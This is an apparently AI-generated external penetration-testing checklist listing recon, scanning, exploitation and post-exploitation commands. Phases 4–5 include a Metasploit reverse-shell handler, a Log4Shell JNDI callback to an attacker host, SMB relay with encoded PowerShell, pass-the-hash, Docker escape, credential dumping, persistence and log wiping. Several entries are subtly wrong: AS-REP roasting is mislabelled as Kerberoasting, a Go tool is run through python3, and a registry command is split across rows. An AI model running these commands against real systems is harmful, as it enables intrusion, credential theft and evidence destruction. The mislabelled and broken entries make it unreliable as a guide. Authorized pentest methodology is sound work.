External Network PT - Kimi

PHASE 0 – Pre-Engagement (often skipped → gaps)

#	Task / Tool	Exact command / note	✓
0.1	Rules-of-Engagement signed	Include IPv6, cloud assets, CDN edges, wildcard domains	☐
0.2	Out-of-scope list	`cat out-scope.txt && dig +short` to verify no overlap	☐
0.3	Threat intel feed	`misp-cli --search "organisation:${ORG}" > misp.json`	☐
0.4	Seed word-list from Jira/wiki	`cewl -d 3 -m 4 -w cewl.txt <https://confluence.example.com>`	☐

PHASE 1 – Reconnaissance / OSINT (deep-dive edition)

#	Task / Tool	Exact command / note	✓
1.1	IPv6 ranges from RIR	`whois -h whois.ripe.net " -i org ORG-${SHORTNAME}" | grep inet6num`	☐
1.2	Cloud provider ENUM	`cloud_enum -k ${ORG} -k ${ORG}ltd -k ${ORG}-prod` (AWS, Azure, GCP)	☐
1.3	ASN expansion	`bgpq3 -S RIPE,ARIN AS${ASN} | aggregate -q > asn-aggregated.txt`	☐
1.4	Reverse-NS bruting	`for ns in $(dig NS example.com +short);do dig axfr @$ns;done`	☐
1.5	Certificate transparency (all)	`curl -s "<https://crt.sh/?q=%25.${DOMAIN}&output=json>" | jq -r '.[].name_value' | sort -u > crt.sh`	☐
1.6	Rapid7 FDNS ANY	`curl -s <https://opendata.rapid7.com/sonar.fdns_v2/2024-01-15-fdns_any.json.gz> | zgrep "${DOMAIN}" | jq -r '.name' > fdns.txt`	☐
1.7	GitHub org leaks	`python3 gitleaks detect --source <https://github.com/${ORG}.git> --report-format json --report-path gitleaks.json`	☐
1.8	Public-docker images	`regctl tag ls docker.io/${ORG}` → look for “internal” tags	☐
1.9	Mobile-app endpoints	`mobSF -f ${ORG}.apk > mobsf-report.json` (extract hard-coded URLs)	☐
1.10	Breach-passwords	`h8mail -t users@example.com -sk --skip-default -lb breachcompilation.txt`	☐

PHASE 2 – Scanning & Enumeration (IPv4 + IPv6 + CDN bypass)

#	Task / Tool	Exact command / note	✓
2.1	Full TCP IPv4	`nmap -Pn -sS -p- -T4 --min-rate 10000 -iL in-scope.txt -oA full-tcp4`	☐
2.2	Full TCP IPv6	`nmap -6 -Pn -sS -p- -T4 -iL v6-in-scope.txt -oA full-tcp6`	☐
2.3	Top 1000 UDP	`nmap -Pn -sU --top-ports 1000 -iL in-scope.txt -oA top-udp`	☐
2.4	QUIC/HTTP3	`nmap -sU -p443,80 --script quic-info`	☐
2.5	CDN origin hunter	`cloudmare -d example.com` → origin IP candidates	☐
2.6	SNI-scan behind CDN	`sslscan --sni ${DOMAIN} ${CANDIDATE_IP}:443`	☐
2.7	Service detection	`nmap -sV -sC -O --version-all -p$(awk -F/ '/open/{print $1}' full-tcp4.nmap | paste -sd,) -iL in-scope.txt -oA svc-det`	☐
2.8	HTTP tech stack	`httpx -l live-ips.txt -sc -title -tech-detect -csv -o http-tech.csv`	☐
2.9	SSL/TLS full	`testssl.sh --quiet --append --logfile ssl-full.log ${IP}:443`	☐
2.10	SMTP/EXPN/VRFY	`smtp-user-enum -M VRFY -U users.txt -t ${IP}`	☐
2.11	DNS cache-snoop	`nmap -sU -p53 --script dns-cache-snoop.nse --script-args 'dns-cache-snoop.mode=timed' ${IP}`	☐
2.12	SNMP v1/v2c/v3	`onesixtyone -c communities.txt ${IP}; snmpwalk -v3 -l noAuthNoPriv ${IP} .1`	☐
2.13	MS-RPC & NetBIOS	`enum4linux-ng -A -C ${IP}`	☐
2.14	RDP/NLA settings	`nmap -p3389 --script rdp-enum-encryption ${IP}`	☐
2.15	VPN fingerprint	`nmap -sU -p500,4500 --script ike-version,ike-extended ${IP}`	☐
2.16	SIP/VoIP	`nmap -sU -p5060 --script sip-methods,sip-enum-users ${IP}`	☐
2.17	Database listeners	`nmap -p1433,3306,5432,27017,6379 --script ms-sql-info,mysql-info ${IP}`	☐
2.18	Docker-registry	`curl -s <https://$>{IP}:5000/v2/_catalog`	☐
2.19	Kubernetes API	`curl -k <https://$>{IP}:6443/api`	☐
2.20	GraphQL introspection	`curl -s -X POST -H "Content-Type: application/json" --data '{"query":"{__schema{types{name}}}"}' <https://$>{DOMAIN}/graphql`	☐

PHASE 3 – Vulnerability Analysis (CVE + config + logic)

#	Task / Tool	Exact command / note	✓
3.1	Nuclei everything	`nuclei -l http-tech.csv -t http/cves/,http/misconfiguration/,http/exposures/ -severity low,medium,high,critical -o nuclei-all.txt`	☐
3.2	OpenVAS policy	Import “Full and Fast” → export XML	☐
3.3	Nessus “PCI External”	Export .nessus + PDF executive	☐
3.4	CVE correlation	`nmap -p$(open-ports) --script vulners ${IP}`	☐
3.5	Exploit-db search	`searchsploit --nmap svc-det.nmap | grep -i remote`	☐
3.6	Default creds	`nmap -p21,22,23,80,443,3306,5432 --script ftp-anon,http-default-accounts,ms-sql-brute ${IP}`	☐
3.7	SSL/TLS specific	`nmap -p443 --script ssl-ccs-injection,ssl-poodle,ssl-heartbleed,ssl-dh-params`	☐
3.8	Weak cipher grading	`testssl.sh -U ${IP}:443` (look for A- or below)	☐
3.9	HSTS / pre-load	`curl -s -I <https://$>{DOMAIN} | grep -i strict`	☐
3.10	Cookie flags	`curl -s -I -X GET <https://$>{DOMAIN} | grep -i set-cookie` (check Secure, HttpOnly, SameSite)	☐
3.11	CORS misconfig	`python3 corscanner.py -u <https://$>{DOMAIN}`	☐
3.12	Sub-domain takeover	`nuclei -l sub-resolved.txt -t takeovers/ -o takeover.txt`	☐
3.13	SPF / DMARC / DKIM	`dig TXT ${DOMAIN} +short | grep -E 'v=spf1|v=DMARC|k=rsa'`	☐
3.14	Email spoofing test	`swaks --to ceo@example.com --from attacker@example.org --header "Subject: Test"`	☐
3.15	DNSSEC validity	`delv @8.8.8.8 example.com`	☐
3.16	IPv6 firewall gap	`nmap -6 -p1-1000 ${IPv6}` (often unfiltered)	☐
3.17	Broken OIDC / OAuth	`nuclei -t http/misconfiguration/oauth/`	☐
3.18	API rate-limit missing	`for i in {1..150};do curl -s -o /dev/null -w "%{http_code}\\n" <https://api.$>{DOMAIN}/login;done`	☐
3.19	GraphQL Batching	`curl -s -X POST -H "Content-Type: application/json" --data '[{"query":"{users{id}}"},{"query":"{users{id}}"}]' <https://$>{DOMAIN}/graphql`	☐
3.20	Docker / K8s CVEs	`trivy image ${ORG}/app:latest`	☐

PHASE 4 – Exploitation (prove impact)

#	Task / Tool	Exact command / note	✓
4.1	Metasploit handler	`msfconsole -qx "use exploit/multi/handler;set payload linux/x64/meterpreter/reverse_https;set lhost ${LHOST};set lport 443;run -j"`	☐
4.2	Public exploit	`searchsploit -m 49491; python3 49491.py ${IP} 443`	☐
4.3	RCE via Nuclei	`nuclei -t http/cves/ -tags rce -o rce.txt`	☐
4.4	SQLmap dump	`sqlmap -r login.req --batch --threads 10 --level 3 --risk 2 --dump`	☐
4.5	Credential spray	`hydra -L users.txt -P top5000.txt -f ${IP} ssh -t 4`	☐
4.6	SMB relay	`impacket-ntlmrelayx -tf relay.txt -smb2support -c 'powershell -enc BASE64'`	☐
4.7	Kerberoasting	`GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip ${DC_IP} -request`	☐
4.8	Pass-the-hash	`crackmapexec smb ${IP} -u administrator -H ${NTHASH} -x whoami`	☐
4.9	VPN hijack (IKE)	`ike-scan -M -A -P ${IP}` → `psk-crack -b 5 hash`	☐
4.10	Docker escape	`docker run --rm -it --privileged -v /:/host alpine chroot /host bash`	☐
4.11	K8s token abuse	`curl -k <https://$>{K8S}:6443/api/v1/secrets --header "Authorization: Bearer ${TOKEN}"`	☐
4.12	SSRF to metadata	`curl -s <http://169.254.169.254/latest/meta-data/iam/security-credentials/` >	☐
4.13	JWT none-algo	`python3 jwt_tool.py ${JWT} -X a`	☐
4.14	File-upload RCE	Burp → Intruder → “Magic bytes + double-extension” → webshell	☐
4.15	Log4Shell trigger	`curl -H 'X-Api-Version: ${jndi:ldap://LHOST:1389/a}' <https://$>{DOMAIN}/api`	☐

PHASE 5 – Post-Exploitation & Reporting (evidence + cleanup)

#	Task / Tool	Exact command / note	✓
5.1	Screenshot POC	`eyewitness -f confirmed-urls.txt -d shots/ --headless`	☐
5.2	Credential harvest	`secretsdump.py DOMAIN/admin@${IP} -output creds`	☐
5.3	Token impersonation	`meterpreter > load incognito → list_tokens -u`	☐
5.4	Persistence (SSH)	`echo "${SSH_PUB}" >> ~/.ssh/authorized_keys`	☐
5.5	Persistence (registry)	`reg add "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"`	☐

#	Task / Tool	Exact command / note	✓
		`/v Pentest /d "powershell -enc ${PAYLOAD}"`	
5.6	Clean tracks	`wevtutil cl System` (Win) / `export HISTCONTROL=ignoreboth` (Linux)	☐
5.7	Reverse-shell upgrade	`python3 -c "import pty; pty.spawn('/bin/bash')"` → Ctrl-Z → `stty raw -echo; fg`	☐
5.8	Data-classification check	Tag any PII/finance/PHI accessed	☐
5.9	CVSS v3.1 scoring	Document Base, Temporal, Environmental	☐
5.10	Executive summary	≤ 2 pages, business-impact language	☐
5.11	Remediation cheat-sheet	One-liner fix per finding	☐
5.12	Raw evidence tar	`tar czf evidence.tgz screenshots/ raw-tool/ creds-redacted/`	☐

PHASE 6 – Extra "Zero-Gap" Items (catch-all)

#	Task / Tool	Exact command / note	✓
6.1	Wildcard DNS check	`host 123456789.${DOMAIN}` (should NXDOMAIN)	☐
6.2	BGP hijack exposure	`bgpstream -p 1 -j` (look for your prefixes)	☐
6.3	Edge-cache poisoning	`curl -X PURGE <https://cdn.$>{DOMAIN}/`	☐
6.4	ARC/ BIMI email headers	`dig TXT default._arc.${DOMAIN}`	☐
6.5	DNS resolvers open	`nmap -sU -p53 --script dns-recursion ${IP}`	☐
6.6	NTP monlist DDoS	`nmap -sU -p123 --script ntp-monlist ${IP}`	☐
6.7	WS-Discovery反射	`nmap -sU -p3702 --script wsdd-discover ${IP}`	☐
6.8	TFTP file grab	`nmap -sU -p69 --script tftp-enum ${IP}`	☐
6.9	IPMI cipher 0	`nmap -sU -p623 --script ipmi-cipher-zero ${IP}`	☐
6.10	LoRa / IoT exposure	`nmap -sU -p1700 --script lorawan-gateway ${IP}`	☐

TL;DR – 30-Second Sanity Check

```
masscan -iL scope.txt -p1-65535,U:1-65535 --rate 10000 -oL all-ports.raw && \\ awk '{print $4}' all-ports.raw \\| sort -u > live-hosts.txt && \\ nmap -sV -sC -p$(open-ports) -iL live-hosts.txt -oA nmap-full && \\ nuclei -l live-hosts.txt -t http/cves/ -o nuclei-cve.txt && \\ testssl.sh --quiet --logfile ssl.log live-hosts.txt
```